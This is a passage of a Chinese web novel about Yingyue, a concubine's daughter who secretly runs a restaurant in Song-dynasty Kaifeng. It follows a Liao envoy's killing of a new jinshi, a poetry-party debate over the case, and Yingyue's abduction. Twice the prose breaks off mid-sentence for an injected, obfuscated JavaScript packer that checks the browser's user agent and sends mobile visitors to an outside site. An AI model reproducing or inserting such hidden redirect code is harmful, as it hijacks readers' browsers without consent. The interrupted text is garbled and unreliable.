他顿了顿,继续道:“如今董先生刚过不惑之年,妻子前些年去世了,他并未续弦,身边只有一个独子,名唤董承。可这孩子对庖厨之艺全然不感兴趣,死活不愿继承父亲的手艺,一门心思想要科考入仕。” “听说去岁中了进士,开榜那日,董余一怒之下和儿子断绝了父子关系。因着身边空无一人,董余越发与世隔绝,每日只种种地、做做菜,世事一概不问。那董承因着和父亲的心结,病了好些日子,故而一直未授官。听说近来身子已然大好,想来不久便可入仕了。” 盈玥沉吟片刻,指尖轻叩桌面:“连大内和潘楼都不曾招揽到此等人物?” 孙大海摇头叹道:“宫闱之事非我等能窥探。想来知晓董余的,唯有御膳房里那些老厨人,可他们在宫中地位卑微,哪有机缘向官家举荐?” “况且董余若真入了宫,于旁人反倒是威胁。”他抹了把额汗,“至于潘楼,三年前确曾以极高的月银相邀,三顾茅庐却连门槛都迈不进。后来潘掌柜也想通了,既然谁都请不动,只要董余不投别家,倒也不算威胁。” 盈玥闻言蹙眉。功名利禄撼不动,御膳房、潘楼都请不动的人物,怎会看得上她这刚开张不久的丰乐楼? 她在房间内来回踱了几步,说道:“此事怕是急不得,需要有合适的契机,但是此人我是必须要去请的,烦请孙叔帮我留意着他的情况。此人我志在必得!” “姑娘放心。”孙大海连忙应道,粗糙的脸上满是诚恳,“一有消息,我定当即刻来报。” 5. 风波骤起 盈玥本以为这所谓的契机至少要等上两三年,岂料不出半月,正月底时,东京城便毫无预兆地掀起了一场惊涛骇浪。 这日午后,盈玥正在旁听歌舞乐伎的史书课,孙大海步履匆匆地赶来,俯身在她耳边低语:“姑娘,董家出事了!” 盈玥神色不动,只轻轻放下书卷,随他移至廊下僻静处:“孙叔,慢慢说,究竟怎么回事?” “约莫十日前,董承公子夜半回府时,在窄巷里与辽国使臣的轿辇迎面遇上,双方各不相让。那辽使竟纵容随从动手,董公子一介文弱书生,身边跟着的不过是几个新招募的家丁,哪里敌得过那些沙场拼杀出来的辽人?当场就被活活打死了!两个小厮也一死一重伤!” “什么?当街打死朝廷新科进士?还是辽使所为?”盈玥心下一惊,蹙眉追问:“如此大事,官府如何处置?又为何时隔十多日,风声才透出来?” “姑娘问到关节了!”孙大海声音压得更低,“事发深夜,街巷空无一人。且正因牵扯辽使,朝廷近年与辽交战屡屡受挫,此案尚未过堂便被死死压了下来,秘而不宣。” 盈玥对这般处置并不意外,只轻叹一声:“鞭子不打在自己身上,怎么会知道痛呢?可董承毕竟是新科进士,天子门生,恐怕难以轻易遮掩。” “可怜他寒窗数十载,方得金榜题名,竟落得如此结局,实在可惜。” 她略一停顿,眸中忧色更深:“董余先生现在何处?” 孙大海长叹:“虽说父子素来不睦,终究是血脉相连。他中年丧妻,晚年又失独子,如今已是了无牵挂,定要拼个鱼死网破。我能得知消息,正是因为他今日去敲了登闻鼓鸣冤的缘故。虽上头极力压制,但这等事情,到底还是透了些风声出来。” “世间所谓不睦,多半是爱之深,责之切。”盈玥语带感伤,“如我父亲那般对待子女的,终究是少数。” 当晚给大娘子张氏请过安后,盈玥便带着乐清和丹红,拎着个雕花食盒,踏着清冷月色往二公子伯恒的书房去了。 小厮推开门时,伯恒正临窗夜读。烛光映着他清隽的侧脸,见盈玥进来,那张素来冷峻的面容难得露出几分笑意:“你这丫头,无事不登三宝殿。说吧,这回又要哥哥帮什么忙?” 杜荣晦共生得七个孩子,大姑娘明玥、二公子伯恒和五姑娘如玥是大娘子张氏所出,三公子仲恒和四姑娘润玥是周小娘所出,因周小娘受宠,她的孩子便一直养在自己身边,而七公子书恒是另一位不受宠的小娘文氏所生,故一直养在大娘子屋里。 在整个杜府中,只有大姑娘明玥和二公子伯恒对盈玥最好,她心中无比感激,只是明玥去年已经嫁到了昌平伯爵府,因着婆婆刻薄,故而很少回门,因此闲暇时,盈玥便同伯恒走的越发近了些。此次丰乐楼开张的诸事,便少不了去年中进士,已然踏入仕途的伯恒帮忙。 “二哥哥再这般说,这碟刚出炉的白玉方糕我可就带回去了。”盈玥笑着将糕点摆上书案,莹白的糕点衬着紫檀木,煞是好看。 伯恒拈起一块细细品尝,点头称赞:“滋味甚好,看来所求非小。” 盈玥也不绕弯子,单刀直入:“听说辽国使臣当街打死了新科进士,可有此事?” 伯恒闻言一怔,放下糕点:“你从何处听闻?朝堂之事,闺阁女子还是少问为妙。” “可经商也不是闺阁女子该做的,二哥哥不也纵着我了?”盈玥托腮浅笑,“况且如今要经营酒楼,三教九流都要应对。若是不懂朝堂风向,万一不慎得罪了贵人,岂不牵连全家?” 见伯恒眸光微动仍不言语,盈玥郑重举起三指:“妹妹发誓,定会守口如瓶。这向来是我的长处,哥哥最清楚的。” 烛火噼啪一跳,映得她眼底一片澄明。 “也罢也罢!”伯恒轻叹一声,执起茶盏浅啜,“今日已然漏出了写口风,想来不出多久,东京便也传得沸沸扬扬了,告诉你也无妨。” “此事在朝堂已争论十余日。一派主张严惩辽使,以正国法纲纪,否则必遭天下人耻笑;另一派则认为,大辽与我朝关系本就紧张,近年战事又屡屡失利,若杀辽使,对方很可能以此为借口,对我朝出兵” 他放下茶盏,指尖轻叩案面:“他们的意思是,最好给董承的家人一些官职银两,安抚好其亲眷,再把辽使偷偷遣返回去,做到神不知鬼不觉,若通过此事可减少一些给辽国的岁币,这也算董承死得其所了。” 盈玥蹙眉:“董家人岂会甘心?妹妹听闻董承之父已去敲登闻鼓。这般处置,怕是难平其愤。” “在大局面前,个人性命向来轻如草芥”伯恒目光微沉,“若官家决意送返辽使,自有办法让董家人缄口。” 盈玥只觉一股寒意自心底升起——若金银爵位不足以安抚,那便只剩... 她忍不住追问:“官家可有决断?” “谈何容易。”伯恒长叹,“两派各执一词,连日来争得面红耳赤,差点要跳上文德殿上烧房子了。官家为此夜不能寐,今晨今日登闻鼓响时,竟当场犯了头风。” 盈玥闻言,重重地叹了口气,“那董家人,也着实可怜,若后面有什么新的情况,烦劳哥哥帮我留意,我现在经常出入在外面的场所,若什么都不懂,怕是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16878377|191915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会得罪人。” “嗯”伯恒应后,二人便相顾无言,只有轻微的叹息声。 烛火摇曳,将兄妹二人的身影投在青砖地上,拉得忽长忽短。 夜还很长,而董家人的天光,或许再也亮不起来了。 第二日,盈玥熟门熟路地从清虚观偏门悄然离去,孙大海早已驾着马车静候在侧。二人乘着马车,径直往东京郊外的长垣村行去。 约莫一个时辰,马车缓缓停驻。孙大海的声音自帘外传来:“姑娘,到了。只是董家家门紧闭,应是无人在家。” “想是又去敲登闻鼓了。”盈玥轻声道,“我们在此等候便是。” 东京的春天总是来的悄无声息,一夜的微风吹过,董家门前菜畦里已冒出星星点点的野花,掀起一阵草木清芬。盈玥在车中久候闷倦,便下车立在路边远眺闲逛。 这么一等便是半日的功夫。接近下午时分,一道佝偻的身影自路尽头蹒跚而来,孤独的影子显得格外苍凉。 董余望见家门口的马车先是一怔,待看清车辕上“丰乐楼”三字,不由长叹一声,对着盈玥直言:“姑娘不必开口,老夫知道你的来意。但眼下老夫实在无心掌勺。况且我的条件,你也做不到。” 盈玥恭恭敬敬地施了一礼:“董老先生明鉴。既然您快人快语,小女也不绕弯子——您的条件,可是要杀人者偿命?” 董余面露诧色,将盈玥细细打量一番,叹道:“姑娘倒是有备而来。不过凶手非同一般,老夫连皇宫都闯了,至今无人为我儿做主。除非你有通天的手段和背景,否则不必白费心思。” “老先生说得是。”盈玥浅笑,“我既非皇亲贵胄,也非后宫嫔妃,家中更无显赫背景,不过一介商贾。” “老夫晓得,体面人家怎会让女儿从商。”董余不再看她,径自往家门走去,“实在无心待客,姑娘请回吧。” 盈玥不恼不躁,对着那道萧索的背影扬声道:“五日之内,我必让杀人者伏法!” “我的目的是请您出山。” “但您放心,这只是目的,而非条件。” “无论您是否答应,我都会去做。” “不为别的,只为‘公道’。” “只是这几日,万请先生莫再入宫,也别声张此事,免得招来杀身之祸。” 说罢不等回应,盈玥转身上了马车。 待车轮声渐远,董余才缓缓转身。那张饱经风霜的脸上,早已老泪纵横。 是啊,公道! 他扪心自问,他要的多吗?他只是要一个公道,他只想为自己的儿子讨个公道而已。 6. 诗会争端 二月二这天,寅时三刻,晨光未醒,盈玥已端坐在菱花铜镜前,任由乐清与丹红为她梳妆。 “姑娘今日戴哪支发簪?”丹红手执银缕栖花簪与金琉璃蝴蝶簪,在盈玥如云青鬓旁轻轻比量。 盈玥凝视镜中那张被特制脂粉点出斑痕的面容,淡淡道:“就那支银簪吧,与我身上这袭鹅黄素锦搭配起来正合适。” 乐清停下整理行囊的手,回头轻问:“姑娘往日不是最爱那支青玉簪么?今日怎的戴了银的?” “今日汴京贵女云集,若我仍是一味素净,倒要落人口实,说大娘子刻薄庶女,到时丢的是全家的颜面”盈玥唇角微扬,眼底掠过一丝狡黠,“况且,这般稍显光鲜的打扮,才显得我是真心想在诗会上露脸,越肤浅,家中那些人才越觉得我没有威胁。” 辰时的日头逐渐升起时,正院已飘来阵阵香风。四顶八宝璎珞轿静候垂花门前,各房丫鬟婆子捧着妆匣衣物侍立轿旁。随着轿夫一声悠扬的"起轿",一行人浩浩荡荡朝着府外驶去。 金明池自前朝起便是皇家禁苑,今官家登基后特颁恩旨,每年二月初二至四月初八,准予京中勋贵官员及家眷入内游赏。 但见金明池形如方璧,宛若一块硕大无朋的碧玺镶嵌在天地间。朱墙环抱,檐角飞举,透着重檐叠瓦的庄重气象。正南的棂星门巍然耸立,玉阶丹楹间尽显天家威仪。 穿过棂星门,一座虹桥卧波而起,如飞天玉带连接南北。桥头矗立着五殿相连的宝津楼,浮于碧水中央,四周奇花异石罗列,恍若蓬莱仙境。 宝津楼内设两处曲水流觞宴,男女分席。女席首座正是诗会东道主——承宣伯爵府黄大娘子。左首尊位坐着兴安郡王妃携清源、清平两位县主;右首是吴国公夫人与千金吴婉仪。其余侯伯夫人及各府女眷依序排列,盈玥姐妹随张氏等无爵官眷,则坐于席末。 黄大娘子目光掠过盈玥今日装束,眼底掠过一丝赞赏。去岁马球会上,看到她被汗水不小心津到的脸,干黄满是斑点的肌肤下,竟露出了白皙的一小块,虽然马上让丫头遮住了,但是仍然没有逃过她这经常射箭投壶的眼睛,因此当下便明白了几分,也因着盈玥的聪明和内敛,她才对盈玥格外喜欢。 今日细观其穿着,便知晓了盈玥的意图。更觉这姑娘添了几分大气和格局,颇有当家主母的风范。黄大娘子不由抚盏轻笑,喃喃自语:“我就知道,我的眼光,一向错不了!” 宝津楼内的曲水流觞宴渐入佳境,待酒水果品陈列完毕,黄大娘子便以“春日宴”为题,邀众宾客即席赋诗。约定宴席终了时收卷,由众人推举佳作,请王老太师夫人耿氏裁定魁首。其间准许离席游园,一来可踏春,不辜负这金明池的美景,二来可作为寻找灵感之用。 因此不过半席光景,座中便空了大半,唯余些年长的夫人仍在浅酌闲谈。 宝津楼旁有一处仙桥,名唤骆驼峰,因为视野开阔,便有许多公子姑娘带着侍从聚在此处谈诗论赋,畅聊古今,好不热闹。 “碎锦铺波十二重,乱莺啼处晓烟浓。”承宣伯爵府嫡次子郑元达朗声吟罢,四下立时响起一片喝彩。 “元达兄不愧师从曾大家,此句尽得山水灵韵!” “这''碎''与''铺''二字,直将潋滟波光写活了!” “......” 正当赞誉纷纭时,一道清越女声婉转响起:“公子此句自是精妙,不过若将''乱莺啼处晓烟浓''的''处''字,易作''破''字,是否更添意趣?” “碎锦铺波十二重,乱莺啼破晓烟浓”众人低声咀嚼着这精妙改动,郑元达亦垂眸沉吟片刻,继而鼓掌赞叹:“‘破''字果然更胜一筹!莺啼穿烟,平添勃勃生机。” 他郑重朝发声处施礼,“元达受教了,不知姑娘是哪府千金?” 不待那女子应答,徐渭已笑着插话:“这位是抚名巷杜府的四姑娘。说起来,元达你可是人家未来的妹夫呢!” “竟是四姑娘?”郑元达闻言微怔。他实未料到那位容貌平平的杜六姑娘,竟有这般琼姿玉貌、锦心绣口的姐姐。心下不由暗叹,若母亲中意的是这位四姑娘该多好。思虑及此,对徐渭的调侃便生出几分不快:“渭兄慎言。我与杜六姑娘从无婚约之说,此话若传开,恐损姑娘清誉。” 他目光又不经意掠过润玥含羞垂首的侧影,见她云鬓间一支累丝金蝶簪在春日下流转着细碎光晕。 郑元达心中一热,朝润玥拱手一礼:“怪道姑娘有如此慧心,令尊乃朝中清流,才德兼备,元达向来钦仰。” 如玥立在宝津楼朱栏边,遥望骆驼虹上的热闹景象,不由轻嗤:“父亲常教导我们,大家闺秀当持重守礼。她倒好,专往公子堆里凑,仗着会几句歪诗便招摇过市!待我回府禀明父亲,定要好好惩治这轻狂样!” “只怕禀了父亲也无用。”盈玥不知何时已来到如玥身后,轻声道,“她必是得了周小娘授意,专为姻缘而来。如今既已出了风头,各家公子都记住了这位才貌双全的杜四姑娘,纵使父亲责罚,也抹不去这番印象了。” 如玥闻言,原只有五分的怒气霎时涨到七分。见她柳眉倒竖,盈玥又悠悠添了把火:“况且父亲素来疼她,平日连重话都舍不得说。即便责罚,至多不过罚跪。唉!周小娘的手段五姐姐是知道的,只要去父亲跟前扮个可怜,怕是连罚跪都免了,反要怪五姐姐多事呢。” “岂有此理!”如玥气得绞紧帕子,“我这就去禀告母亲,让她当众责罚,看哪家公子还敢要这等轻浮之人!” 盈玥早料到她这般反应,连忙拉住她衣袖:“五姐姐万不可惊动大娘子。” “为何?” 盈玥望着这与大娘子如出一辙的急性子,无奈轻叹:“你去找大娘子,便是害了她了。姐姐细想,大娘子如果在大庭广众之下责罚四姐姐,丢的是全家人的脸,别人看四姐姐笑话的同时,只怕会更加看大娘子的笑话,说她心胸狭隘,治家不严,待父亲知道了,怕又要责骂大娘子了。” 她凑近如玥耳畔,声音压得极低:“且五姐姐看父亲对周小娘有多怜爱就知道了,男人最喜欢的就是楚楚可怜,柔弱美貌的女子,怕是这顿罚,反而让四姐姐激起了那些世家公子的保护欲呢,这下才真是弄巧成拙了!” 如玥急得跺脚:“难道就眼睁睁看她攀高枝不成?” “姐姐莫急。”盈玥唇角微扬,悄声道,“若想压过她的风头,妹妹倒有个主意。” 正说着,骆驼峰观景台上已摆开两张紫檀书案。黄大娘子命侍女备 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16878378|191915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 齐文房四宝,各色时鲜果品陈列其间,以愉宾客。 徐渭素来洒脱不羁,此刻正斜倚在书案旁执壶斟酒,朗声道:“在这皇家林苑中若只谈风月,未免辜负春光。如今朝堂上为辽使杀人之事争论不休,我等虽为官眷,亦当心怀天下。不若借此良机,各抒己见如何?” 郑元达蹙眉轻啧一声:“大庭广众议论朝政,终究不妥。” “文武百官已在朝堂争得面红耳赤,多我们几个又何妨?”徐渭不以为意地挥袖轻笑。 “徐渭哥哥说得在理,况且我们关起门来说话,何必顾忌太多!”吴国公嫡女吴婉仪应声接话。因广川侯府与吴国公府比邻而居,她与徐渭自幼相识,堪称青梅竹马。 她话音未落,王老太师的孙女王静姝已执绢掩唇打趣:“婉仪妹妹这般维护,待日后过了门,还不知要怎样体贴呢!” “静姝姐休要胡说!”婉仪霎时羞得满面飞红,垂首不敢直视徐渭,眼角眉梢的喜色却藏不住地流淌。 而韩大将军独子韩城素来不耐女儿家闲谈,徐渭的提议正合他心意:“辽使连伤两命,其中更有新科进士!若不能以命抵命,我大宋颜面何存?” 王静姝自幼耳濡目染,深得祖父主和派真传,当即反驳:“杀人偿命天经地义。可若因此引发战事,致使生灵涂炭,千万将士马革裹尸,难道要为两条性命赔上这万千生灵?” 韩城闻言眸光一凛,转而问道:“燕云十六州终须光复,静姝妹妹认为可是?” 王静姝颔首:“自然。” “既然终须一战,何来‘赔上’之说?” 人群中忽有人低语:“可近年宋辽交战多是败绩,若此番再败,只怕又要割地赔款。” 韩城语气骤寒:“未战先怯,世风如此,岂能取胜!” “小韩将军息怒。” 众人循声望去,但见清平县主带着四名侍女自宝津楼迤逦而来,裙裾拂过石阶如云霞漫卷:“不杀辽使,未必便是纵容。” “不杀何以正国法?打几板子游街示众么?”韩城冷笑,“若非以命抵命,一切惩处不过惺惺作态!” 眼见气氛剑拔弩张,郑元达忙转向润玥含笑解围:“四姑娘才思敏捷,不知有何高见?” 润玥早已备好说辞,等的便是这般时机。她执扇浅施一礼:“公子过誉。小女子只是觉得,这辽使莫不是奉命前来故意寻衅的?” 此言一出,如石破天惊,顿时激起千层浪: “此言有理!” “难怪无故杀人,原是有备而来!” “他是故意赴死,好给大辽出兵的借口,若我们真的杀了他,岂非中计,自寻死路?” 王静姝亦对吴婉仪低语:“难怪家父说,遣返辽使减免岁币已是上策。” 吴婉仪轻叹:“我们现在才知晓的关节,朝堂的诸公想必早已洞悉,所以才有此言论。” 郑元达目光灼灼地望着润玥:“四姑娘此番见识,确实不输公侯千金!” 润玥心中十分得意。前些日子,她三哥哥仲恒不知从哪家大人那里听来这番议论,回家当作新鲜事说与她听。说者无心,听者有意,今日正好派上用场。她面上却故作谦逊:“公子谬赞了,不过是些浅见罢了。” 7. 这是一场“试探” 正当众人交口称赞之际,一道清音破空而来:“四姐姐此论不妥。若只为寻衅,何须大费周章派使臣入京行凶?在边境岂不便宜?” 但见如玥扶着栏杆缓步上前,阳光在她素锦裙裾上流转,好不耀眼:“既是要出兵借口,大可诬陷大宋杀害辽民,何必当真赔上使臣性命?横竖是对外说辞,真假有何要紧?” “说得妙!”久未作声的徐渭击掌赞叹,眼中欣赏毫不掩饰。 吴婉仪见徐渭如此盛赞,笑意微僵——他向来眼高于顶,何曾这般郑重其事?不由细问发声之人:“这位姑娘也是杜府千金?” 润玥掩去眼底一闪而过的愠色,含笑引见:“这是我家五妹妹。” “是嫡——”如玥刚要扬声,便感觉到身后的丫鬟扯了扯她的衣袖,她心中会意,硬是把还没说出口的几个字咽了下去。 “杜大人果真家学渊源,教出的女儿个个钟灵毓秀。”郑元达走到如玥面前含笑作揖,“方才听五姑娘高见,令人茅塞顿开。依姑娘之见,辽使此举若非寻衅,又当如何解读?” 如玥挺直腰板,故作老成道:“这实则是一场试探!” “试探?”众人面面相觑。 她扬起下巴,带着少女特有的娇憨:“辽使犯下命案,依律当斩。可为何诸多大臣主张遣返?” 王静姝:“自然是因为怕惹起战端,送回去我们便让辽国欠我朝一人情,更好借机谈判了。” 如玥摇了摇头,道:“若我们不杀辽使,不光不能谈判,反而更会引起战端。” 郑元达诧异:“此话怎讲?” 如玥眸光流转,“因为若我是大辽的可汗,我会想,我的使臣都杀了你们大宋的两个人,其中还有一人是你们的新科进士,已经是即将上任的朝廷命官了,你们都不敢处死他,你们大宋已经怕我怕到了这个份上,如果我本来打算三年内攻打大宋的,现下可能一年内就出兵了。” 观景台上一片死寂。 郑元达恍然大悟:“五姑娘所说的试探,便是这个意思!若我们连这等丧权辱国的事情都能忍下,说明我们一点打仗底气都没有,大辽便可以放心大胆地发兵了。” “有道理。” “想想确实是,如果是借口,空口白牙说一个,应付悠悠之口就行了,又没人真的去求证。” “这五姑娘果然见识非凡!” “……” 就在众人七嘴八舌之际,王静姝自觉被压了几头,且如玥的话和自己父亲的观点刚好背道而驰,现下有些被打脸,便忍不住怒道:“你一个小小五品官的女儿,懂什么国家大事!你可知道——” 话还没说完,王静姝便意识到了什么,她顿了顿,刚刚愠怒的表情逐渐舒缓了下,她微微鞠了一躬:“刚刚是我性急了,五姑娘莫怪,但,假若有辽国的驻边将军来信说,这位辽使是他的挚友,只要能保住他的性命,他便可以献出大辽边关的战力防布图,五姑娘以为,又当如何处置呢?” 如玥一副我早就想到了的表情:“来信?那这信是传给谁的,又经了谁的手,他怎么敢保证这封信不会传到辽国可汗的耳朵里,又怎么能确保这封信一定会到能决断辽使性命的人手中?” 如玥:“这封信一旦传出,相关的每一个人都必须是他极其信任的,但辽使犯案不过短短十来日,除去消息在路上的时间,最多也就五六日,这么短的时间就可以在敌国找到可以相托以性命的人,可能吗?” 见众人不说话,如玥继续道:“再者,我们平日里安排一顿宴席,都要提前打听宾客里面谁与谁不和,谁和谁亲近,好去安排座位,避免争执,何况这堂堂一国使臣,他出使前,辽国的可汗必然会把他的底细调查清楚,如王家姐姐所说,这位将军和辽使的关系极其亲厚,且可以掌握兵力布防图,想来一定身居要职,如此情况,可汗会不清楚吗?” “这图来得太容易也太蹊跷,我们自然不信的”韩城接着道:“只是如此一来,我们不刚好可以将计就计吗?” 如玥敛色,郑重地说:“你看,连我们都知道这个布防图不可信,敌人会想不到我们将计就计吗?恐怕我们如此做了,才是真的中了别人的计啊!” 回府的青帷小轿中,如玥雀跃的嗓音隔着帘幕飘荡。 “小六你是没瞧见!”她凑近盈玥耳边,眼底闪着碎星,“韩小将军听我说完那番话,眼睛都亮了!直说若我为男子,定是能收复燕云十六州的将才!” 盈玥含笑捻着裙上络子:“那姐姐如何答的?” “我说若真让我领兵——”如玥扬起下巴,鬓边珠花轻颤,“何止燕云十六州!我可是要一路打到阴山脚下的!” 盈玥轻拍她手背:“是‘他年我若为将军,重刻界碑于阴山’。” 如玥顿时泄了气,绞着帕子嘟囔:“这句诗我在骆驼虹上来回背了二十多遍!可一开口还是忘了。” “好姐姐,你冰雪聪明,把意思都已经理解清楚,也表达出来了,这就已经大功告成了,诗不诗的,有什么要紧。”盈玥安抚道,“况且本来诗词的初衷,也是为了直抒胸臆而已。这些都是小节,无妨的。” 如玥点了点头,而后忽地凑近打量盈玥:“你平日大门不出二门不迈,怎会对朝政军事这般精通?连兵力布防图的事情都能提前预料到?” 如玥的话,勾起了盈玥的思绪,自从知道了这个案子后,她便吩咐伙计,让他们在接待宾客时留意此事,说来也巧,不出过第二日,便有一个伙计来告诉盈玥,说一个指挥使在饮酒时提到,辽国的驻边将军以兵力布防图换取辽使的性命,这个指挥使盈玥后来详细询问过孙大海,孙大海说他往日都是在潘楼吃酒,今日不知怎的,来了刚开张,且规模远不如潘楼的丰乐楼。 “小六?”如玥伸手在她眼前轻晃。 盈玥回过神来,不着痕迹的回:“哪里是我懂这些,前日我去上香,听两个香客议论起来,我看着他们衣着华贵,讲的内容也着实精彩,就留神记了一下,想不到今日正好派上用场,再者,那董承也着实可怜,寒窗苦读十几年,好不容易中了进士,却落得这般下场,听说那董承还是家中独子,若今日金明池的言论能传到官家的耳中,杀了那辽使,也算是帮董家人一把。” 如玥听到盈玥的话,想当自己的哥哥伯恒读书时的艰辛,也赞同道:“是啊,若真的能将那贼人斩首,也算是我们做了件善事,妹妹你最近去佛寺多了些,人也菩萨心肠 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如玥还沉浸在气润玥的喜悦中,不在意的摆摆手:“我才不怕责罚,我从小就是一路被父亲责罚过来的,润玥明里暗里给我使了多少绊子,早就无所谓了,横竖这次是她先出的风头!父亲要打要骂,也不能只可着我一个人!反正只要能压过润玥,我就高兴!” 不出姐妹俩所料,翌日杜荣晦下朝归来,连朝服都未换,便铁青着脸直奔承瑞堂。午膳时辰未到,已遣小厮疾驰至四平胡同女子书孰,将润玥、如玥即刻召回,连放学也等不得了。 “好!好得很!我杜家的姑娘如今是声名远扬了!” 杜荣晦负手立在堂前,官袍上的獬豸补子随胸膛剧烈起伏,“今日不论走到何处,同僚皆拱手道喜,夸我养了一双玲珑心肝的千金!” 他猛地转身,犀带玉扣撞出清脆声响:“昨日金明池上是何等场面?兴安郡王府的县主、吴国公家的千金、侯伯将相的子弟济济一堂!偏就显着你们二人了?” 案上青瓷茶盏被震得叮当作响:“辽使杀人案——这是能随意议论的么?牵扯两国邦交、新科进士性命、战和之策!这是要直达天听的案子!” “王公贵族议论尚且有家族倚仗,你们——”他指尖几乎要点到女儿们鼻尖,“区区五品官眷,怎敢妄议朝政?!” 最后一句几乎是嘶吼出声:“为父日日告诫韬光养晦,求的便是全家安稳!如今倒好,整个东京城都记住杜家姑娘的‘风采’了!” 雷霆之怒穿透三重院落,下人们屏息垂首,连拂尘扫过地砖的声响都放得极轻。 杜荣晦大怒后的结果就是,润玥和如玥被罚闭门思过三个月,除了自己的院子,哪里也不能去,大娘子和周小娘也受了连累,被指责教女不善,大娘子的管家权交给了伯恒的大娘子倪氏,周小娘抄写《女训》一百遍,并罚半年的月银,连带着润玥和如玥的贴身丫鬟也因着没有好生劝导主人,每人挨了二十个手板。 杜荣晦罚的很全面,就差把“不许出风头”这五个字写在杜家的家训里了。 盈玥听后眉开眼笑,但是很快,她就笑不出来了。 因为就在杜荣晦发落完全家的当日下午,她竟被人五花大绑地扔进了一间黑屋——不,她其实看不见,双眼早被黑布紧蒙。此刻她终于从心底认同了父亲那“谨小慎微”的立身之道。 她被人盯上了! 何止是被盯上—— 根本是遭了暗算! 8. 我要你做我的眼睛 今日下午酉时初刻,孙大海急匆匆地告诉她,明日午时,辽使会被推往菜市口当街问斩,与此消息同步传出的,还有官家下令,晋王老太师的次子王巍为太常寺少卿,官居正四品。 听到这话时,盈玥正翻阅书案上的一本诗集,里面是近几年东京坊间流传的一些诗词收录,听到孙大海的话,她水葱一样的手指微微滞了下,随即了然:“这王巍大人可是王静姝的父亲?” 孙大海点了点头:“姑娘猜的不错。” 盈玥继续闲闲翻动着书页:“王家倒是极为宠爱这个孙女,连兵力布防图这等事情王静姝也能知道,想来她应是把如玥的话原封未动的告诉了王老太师,如此官家便也知道了,老太师定是说这些话是王巍分析出的,因此官家在采纳这些意见的同时,也给王巍升了官职以做奖赏。” 孙大海有些不解:“可好些人都知道这些话并非出自王家之口,官家的耳目遍布朝野,这王老太师也不怕官家知道了以欺君之名处罚吗?” “自然不会”盈玥语气淡如青烟:“王家在朝为官多年,是否能想出这些弯弯绕绕官家最清楚,何须等到探子告知。” 孙大海更加不解:“那官家为何还给予厚赏。” “因为要让满朝的文武大臣看到自己的态度和气势”盈玥的语气没有丝毫波澜:“天下所有人都觉得官家是仁义之君,但是这仁义之君也不是没有血性的,你只看太后生前和官家多次的冲突便可知。” “此番辽使的举动等于把我大宋的颜面踩在了脚底下,官家如何不恨,但奈何朝中一半的人均反对处死辽使,官家被架在中间,左右为难。” “此刻王家站了出来,给了官家一个正当的由头来堵住反对者的悠悠之口,官家如何不喜?且奖励王家的举动也可以让大臣们都知道,他对于战和之争的态度到底如何。” “再者说,我父亲一直谨小慎微,断断不会去官家面前争抢功劳,这苦主都乐得把所有风头都让给王家,官家又何必操他人之心呢。这举动,三家都得了自己想要的,官家得到了理由,王家得到了官位,我父亲得到了安心,你情我愿,再好不过了。” 说完这些后,盈玥又交代了孙大海一些事情,眼看太阳一点点落下,盈玥便换好衣着从丰乐楼的后门溜出去,准备去清虚观换回丹红,谁知刚一出门,连巷子口都还没瞅见,便被人从身后打晕过去,再醒来的时候,就发现自己已被捆住,连眼睛和嘴巴也捂上,全身动弹不得了。 明天就去招个护院! 这是盈玥醒来的第一个念头。 但,她还能活到明天吗? 盈玥压住心底涌上来的恐惧,逼迫自己冷静下来。 劫她的人是谁?为财还是为色?又或者是为仇? 除了东京酒楼的掌柜们,自己好像并未得罪什么人,且那些掌柜们将生意做到如今的规模属实不易,又怎会为了一个刚开张没多久的酒楼铤而走险呢。 为钱的话都好说,可若是为色呢?但自己是已然换好在家中的装扮才出门的,实在算不上什么美人啊! 想到这里,盈玥突然闪过一个念头,为不为色的重要吗,若今日去不成清虚观,那她日日逃出家门的事情便再也瞒不住了,若今晚又夜不归宿,谁还能往好处想? 在这个女子名节大于性命的年代,她就算明日得以逃脱,也会被注重清誉的杜荣晦逼得悬梁的! 想要害她的人又哪里需要真的动手呢,只消把她绑在这里关上一夜就可以了! 盈玥越想,心底地寒意越重。 不能坐以待毙,必须早点逃出去! 盈玥挪动着身体想要爬起来,但奈何双手反绑,娇弱的身子试了几次都踉跄跌倒了。她又尝试以被缚的手腕抵住地面借力,结果也是徒劳。最后无奈,只得蠕动着寻找墙壁或桌角,额角也已沁出细密的冷汗。 约莫一盏茶功夫过去,绝望渐如潮水漫上心头。正当她牙关发颤时,门外忽传来一声:“将军您来了。” “吱呀——” 门被打开,几个脚步声沉沉逼近。 盈玥下意识往后挪,但那几个脚步声眨眼便已到跟前。下一瞬,蒙眼的黑布被人利落摘去。 她眼睛被蒙住的时间太久,乍见光亮不由眯起眼,缓了片刻才看清处境——这是间陈设简陋的屋子,窗边搁着一张木床,床前散乱摆着桌凳,像是仓促腾挪过的样子。 而一丈开外,有位俊美异常的男子负手而立,似笑非笑地打量着她。 他一身暗紫锦袍,银线绣着繁复纹样,面如冠玉,一双桃花眼明亮深邃。墨发半披,仅以金镶玉冠束起额前几缕,余下青丝垂落肩头,颊边碎发更添了几分不羁。 纵是盈玥见过无数公侯子弟,经营酒楼后也算阅人无数,也从未见过这般人物——如此风华,满东京唯有一人。 